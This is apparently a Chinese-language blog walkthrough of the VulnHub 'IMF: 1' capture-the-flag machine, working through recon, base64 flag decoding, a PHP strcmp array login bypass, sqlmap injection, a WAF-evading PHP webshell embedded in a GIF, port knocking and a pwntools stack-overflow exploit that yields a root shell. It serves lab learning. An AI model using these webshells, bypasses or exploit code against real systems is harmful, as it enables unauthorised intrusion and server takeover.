IMF

IMF
IMF
项目详情
靶机名称IMF: 1
难度等级Medium(中等)
目标获取 root 权限并找到六个 flag
下载链接https://www.vulnhub.com/entry/imf-1,162/
攻击机 (Kali)192.168.197.10(建议使用 NAT 模式)
靶机192.168.197.176(DHCP 自动分配)

一、 信息收集 (Reconnaissance)#

信息收集是渗透测试的基石,决定了后续攻击面的广度。

1.1 主机发现#

使用 nmap 在本地网络中定位靶机 IP。

nmap -sn 192.168.197.0/24

结果输出:发现目标 IP 为:192.168.197.176

1.2 端口与服务扫描#

使用 Nmap 对靶机进行全面的端口和服务扫描。

# 快速全端口扫描
nmap -p- --min-rate 1000 -T4 192.168.197.176
# 深入服务探测
nmap -sC -sV -O 192.168.197.176

扫描结果分析:

端口服务状态初步判断
80Apache 2.4.18开放主要攻击面,Web 应用

注意:后续在提权阶段会发现 7788 端口,但初始扫描时因防火墙设置未能发现。

二、 漏洞利用 (Exploitation)#

根据信息收集结果,选择最有可能的突破口进行深入利用。

2.1 Web 渗透#

2.1.1 获取 Flag1#

既然靶机开放了80端口,即HTTP服务,那就访问一下吧。

访问网站 http://192.168.197.176,在 contact us 页面查看网页源代码,发现第一个 Flag。

<!-- flag1{YWxsdGhlZmlsZXM=} -->

将 Flag1 的内容进行 Base64 解码:

echo "YWxsdGhlZmlsZXM=" | base64 -d

结果:allthefiles,因此flag1{allthefiles}。

2.1.2 获取 Flag2#

在首页源代码中发现三个奇怪的 JS 文件名。

eVlYUnZjZz09fQ==
XUnRhVzVwYzNS
ZmxhZzJ7YVcxbVl

关键(这些前缀在CTF中几乎是“条件反射”级别的特征):

  1. flag 的开头 fla 编码后就是 Zmxh
  2. 如果编码完整的 flag,结果是 ZmxhZw==
  3. 同理,flag{ 编码后固定是 ZmxhZ3s=
  4. root 编码后是 cm9vdA==

因此可以将其按顺序拼接后进行 Base64 解码(Zmxh开头的部分放在前面,以==结尾的部分放在后面,剩下的部分放在中间)。

echo "ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==" | base64 -d

得到:flag2{aW1mYWRtaW5pc3RyYXRvcg==}

再次解码 Flag2 的内容:

echo "aW1mYWRtaW5pc3RyYXRvcg==" | base64 -d

结果:imfadministrator,因此flag2{imfadministrator}。

2.1.3 获取后台路径与 Flag3#

注意: 记住上面的信息收集每一条都是有用的,上面解出来的东西都是比较规律的,有可能是目录之类的。

因此访问路径 /imfadministrator,进入后台登录页面(如果访问allthefiles路径,则发现没有该资源)。查看网页源码,发现提示:“我无法使用 SQL,所以我硬编码了密码。它仍然非常安全”,因此没有SQL注入。 步骤 1:枚举用户名

输入不存在的用户名,页面回显无效的用户名(Invalid username)。因此尝试输入存在的用户名,在 contact.php 页面中有三个用户名:rmichaels、akeith、estone。 逐一测试后确认有效用户名为rmichaels,因为回显变为无效的密码(Invalid password),而不是回显无效的用户名。 步骤 2:PHP 数组绕过登录

注意:这里当然可以暴力破解,因为已经知道了用户名,但是这里有更好的办法,因为根据网页源代码的提示,这个密码的验证是写死在php代码中的,因此可以使用PHP数组绕过登录。

原理: php验证代码可能如下

$password = $_POST['password']; // 用户输入
if (strcmp($password, $admin_password) == 0) {
// 登录成功!
}

php代码可能是用strcmp之类的函数去判断密码。当strcmp的两个字符串参数相等的时候返回结果为0,string类型和array类型相比较,它会出错,但返回的不是“报错并停止”,而是 NULL。又因为在PHP的弱类型比较中,NULL == 0 的结果是 true(真),因此成功绕过。

修改网页源代码,将密码参数 pass 改为数组形式(当然这里也可以使用抓包,然后修改数据包)。 成功登录后获得 Flag3:

flag3{Y29udGludWVUT2Ntcw==}

Base64 解码得到:continueTOcms,因此flag3{continueTOcms}。

2.2 SQL 注入与 Flag4#

成功登录后,访问 CMS 页面(因为flag3的提示):http://192.168.197.176/imfadministrator/cms.php?pagename=home。URL有GET传参,因此存在SQL注入,在 URL 参数 pagename 后加单引号测试,发现 MySQL 报错回显,确认存在 SQL 注入漏洞。

sqlmap -r req.txt --batch --dbs

sqlmap -r req.txt --batch -D admin --tables

sqlmap -r req.txt --batch -D admin -T pages --dump

爆破数据库 admin 中的 pages 表,获取到一条图片路径记录。访问该路径,发现一张二维码图片。 扫描二维码得到 Flag4:

flag4{dXBsb2Fkcjk0Mi5waHA=}

解码后得到flag4{uploadr942.php},同时获得文件上传路径:uploadr942.php。

2.3 文件上传与 WebShell(Flag5)#

访问 http://192.168.197.176/imfadministrator/uploadr942.php,发现是一个文件上传界面。使用PHP一句话进行上传,通过不断测试,发现存在WAF和文件头检测,尝试修改Content-Type:image/jpeg,文件头加上GIF89a也是无效。 所以采用另外一个方法,制作一个图片马。

由于WAF过滤比较严,直接写<?php @eval($_POST['ant']); ?>会被拦截,因此使用assert函数,同时使用“.”连接两部分,具体webshell内容如下。

<?php $a="ass"."ert";$a($_POST["ant"]); ?>

然后使用一个git图片做图片马。

注意:根据事后分析,这里只能用git图片,不能用其他类型的图片,因为.htaccess文件里只允许git图片以php的形式运行。

copy /b 普通图片.gif + webshell.php webshell.gif

上传后查看网页源代码,获取服务器重命名的文件名。 此时如果我们直接访问,发现没有,推测应该是图片被保存在某个文件夹下面了,可以猜测是在imfadministrator目录下,我们可以进行目录扫描。 使用dirsearch扫描,命令如下:

dirsearch -u http://192.168.197.176/imfadministrator/ -e php,html,txt -w /usr/share/wordlists/dirb/common.txt -t 50
-u:指定目标 URL
-e:添加常见的扩展名(如 PHP、HTML、TXT),以便发现带有这些后缀的目录或文件
-w:指定字典文件(这里使用 Kali 自带的 common.txt,比较全面)
-t:设置线程数(50 线程速度较快,可根据网络情况调整)

访问该url,发现可以访问,说明上传成功。

http://192.168.197.176/imfadministrator/uploads/4994055bd05d.gif

使用蚁剑连接WebShell,记得要切换成base64编码器,否则无法连接,因为会被WAF过滤: 连接成功之后,查看文件获取flag。

将 Flag5 进行 Base64 解码,解码结果:agentservices,因此flag5{agentservices}。

补充: 也可以使用下面的webshell,同样制作图片马并上传(这个shell只能执行系统命令,因为是用echo,所以也叫命令马)。

<?php $s=$_GET['topsec']; echo `$s`; ?>
//此时需要注意最前面加一个空格,要不然生成图片马的时候会覆盖掉导致乱码

然后用命令马快速写一个“完美蚁剑马”。

http://192.168.197.176/imfadministrator/uploads/重命名.gif?topsec=echo '<?php $a="ass"."ert";$a($_POST["ant"]); ?>' > /var/www/html/imfadministrator/uploads/shell.php
# 注意:在Ubuntu系统中,Apache的默认网站根目录是/var/www/html/

之后连接该shell.php,记得编码器要切换到base64。

三、 权限提升 (Privilege Escalation)#

现在的目标是从普通用户提权至 root,因为最后一个flag在root下面,但是直接用蚁剑查看权限不够。

3.1 发现 Agent 服务#

根据 Flag5 的提示 agentservices,在靶机中搜索相关文件:

# 使用相关命令搜索agent在哪里
find / -iname agent 2>/dev/null
whereis agent

发现文件:

/usr/local/bin/agent
/etc/xinetd.d/agent

查看/etc/xinetd.d/agent内容:

# default: on
# description: The agent server serves agent sessions
# unencrypted agentid for authentication.
service agent
{
flags = REUSE
socket_type = stream
wait = no
user = root
server = /usr/local/bin/agent
log_on_failure += USERID
disable = no
port = 7788
}

该服务以 root 权限运行在 7788 端口,且服务程序为/usr/local/bin/agent,恰好和刚才使用命令找到的位置相对应。

查看当前端口状态,确认 7788 端口已开放:

netstat -atnup

注意这里有个细节,前面使用nmap扫描的时候并没有看到7788端口,因此推测这个端口是被隐藏了。根据后面的操作可知,这里需要使用端口敲门,将7788端口敲开。

然后进入目录/usr/local/bin,发现有两个文件,看一下access_codes,发现有个SYN 7482,8279,9467 看起来像是运行了knock进程,需要敲开。

补充: 什么是端口敲门(Port Knocking):

端口敲门是一种网络安全技术,可以形象地理解为“网络版的芝麻开门”。它的核心思想是服务器的服务端口(如SSH的22端口)默认不对外开放,只有客户端按预先约定的顺序,向服务器的一系列特定端口发送连接请求(即“敲门”)后,服务器才会临时为这个客户端打开真正的服务端口。

使用knock工具敲开7788端口:

knock 192.168.197.176 7482 8279 9467
nmap -p 7788 192.168.197.176

由上图可知,再次使用nmap扫描时,发现7788端口已经开放了。

3.2 缓冲区溢出漏洞利用#

3.2.1 下载并执行 Agent 程序#

接着查看 /usr/local/bin/agent ,发现是可执行的二进制文件。 因此将 /usr/local/bin/agent 文件下载到攻击机进行分析(可以直接使用蚁剑下载然后拖到kali,也可以使用下面的命令)。

# 在靶机上执行
nc -lvp 4444 < /usr/local/bin/agent
# 在攻击机上执行(Kali IP: 192.168.197.10)
nc 192.168.197.176 4444 > agent

然后运行agent程序,发现要输入Agent ID。

3.2.2 构造 Exploit#

为了获取Agent ID,同时为了分析agent程序的功能 (检查是否有栈溢出) ,将 agent 文件拖入 IDA 进行逆向分析。查看main函数,发现了Agent ID。

说明:从图中可以发现在fget函数需要输入随机的数字回车,每一次的输入都会出现strncmp(“输入的数字\n”, “48093572”, 8)这行代码,大概意思就是我们输入的数字和48093572进行对比,不正确返回到Invalid Agent ID。

main函数的完整反编译代码如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
char *s2; // [esp+8h] [ebp-20h] BYREF
char s[10]; // [esp+Eh] [ebp-1Ah] BYREF
int v6; // [esp+18h] [ebp-10h]
char v7; // [esp+1Fh] [ebp-9h]
setbuf(stdout, 0);
asprintf(&s2, "%i", 48093572);
puts(" ___ __ __ ___ ");
puts(" |_ _| \\/ | __| Agent");
puts(" | || |\\/| | _| Reporting");
puts(" |___|_| |_|_| System\n");
printf("\nAgent ID : ");
if ( !fgets(s, 9, stdin) )
return -1;
if ( !strncmp(s, s2, 8u) )
{
do
v7 = getchar();
while ( v7 != 10 && v7 != -1 );
puts("Login Validated ");
v6 = menu();
switch ( v6 )
{
case 1:
extractionpoints();
break;
case 2:
requestextraction();
break;
case 3:
report();
break;
default:
puts("Exiting...");
break;
}
return 0;
}
else
{
puts("Invalid Agent ID ");
return -2;
}
}

经检查,extractionpoints()、requestextraction()这两个函数都没有问题,只有report()函数存在栈溢出。

report()函数的完整反编译代码如下:

char *report()
{
char s[152]; // [esp+4h] [ebp-A4h] BYREF
char *v2; // [esp+9Ch] [ebp-Ch]
printf("\nEnter report update: ");
gets(s);
printf("Report: %s\n", s);
puts("Submitted for review.");
v2 = s;
return s;
}

计算栈溢出偏移(也就是计算数组s相对返回地址的长度):

s在ebp-0xA4,返回地址在ebp+4,所以溢出偏移=0xA4+4=168

找到栈偏移之后,我们需要将 return 地址修改为 shellcode 地址,这里可以使用 ROPgadget 寻找包含 call eax 的代码段。

eax 俗名累加器,用于保存函数返回值、存计算结果、频繁被用来临时放地址

ROPgadget --binary agent | grep "call eax"

我们使用0x8048563这个地址的call eax,所以返回地址也就覆盖为0x8048563。

编写 Python exploit 脚本,连接靶机 7788 端口发送恶意 payload。

#coding=utf-8
from pwn import *
io = remote("192.168.197.176", 7788)
shellcode = asm(shellcraft.sh())
shell_addr = 0x8048563
io.recvuntil(b"Agent ID : ")
io.send(b"48093572\n")
io.recvuntil(b"Enter selection: ")
io.send(b"3\n")
io.recv()
io.sendline(shellcode + b"A" * (168 - len(shellcode)) + p32(shell_addr))
io.interactive()

成功执行后获得 root 权限的反弹 Shell。

注意: exploit 只负责”在 agent 进程里注入代码、弹出一个 shell”;能不能是 root,取决于 agent 进程是不是 root 跑的。 这个靶场 agent 恰好以 root 运行,所以注入 shell 后直接就是 root,所以是”服务本来就以 root 跑”给了我们提权,不是溢出代码本身有 root 魔法。

获取 root 权限后,在 /root 目录下找到最终的 Flag6。 解码后得到flag6{Gh0stProt0c0ls}。

作者留下的小彩蛋:

Profile Image of the Author
Ynm
Hello, I'm Ynm.
公告
近期Cloudflare全球网络波动导致本站部分地区访问变慢,若遇长时间加载,刷新或稍后重试通常可恢复。 欢迎来到我的博客,本博客仅供学习交流使用,请严格遵守法律法规,未经授权严禁对真实目标进行扫描或攻击!
分类
标签
最新动态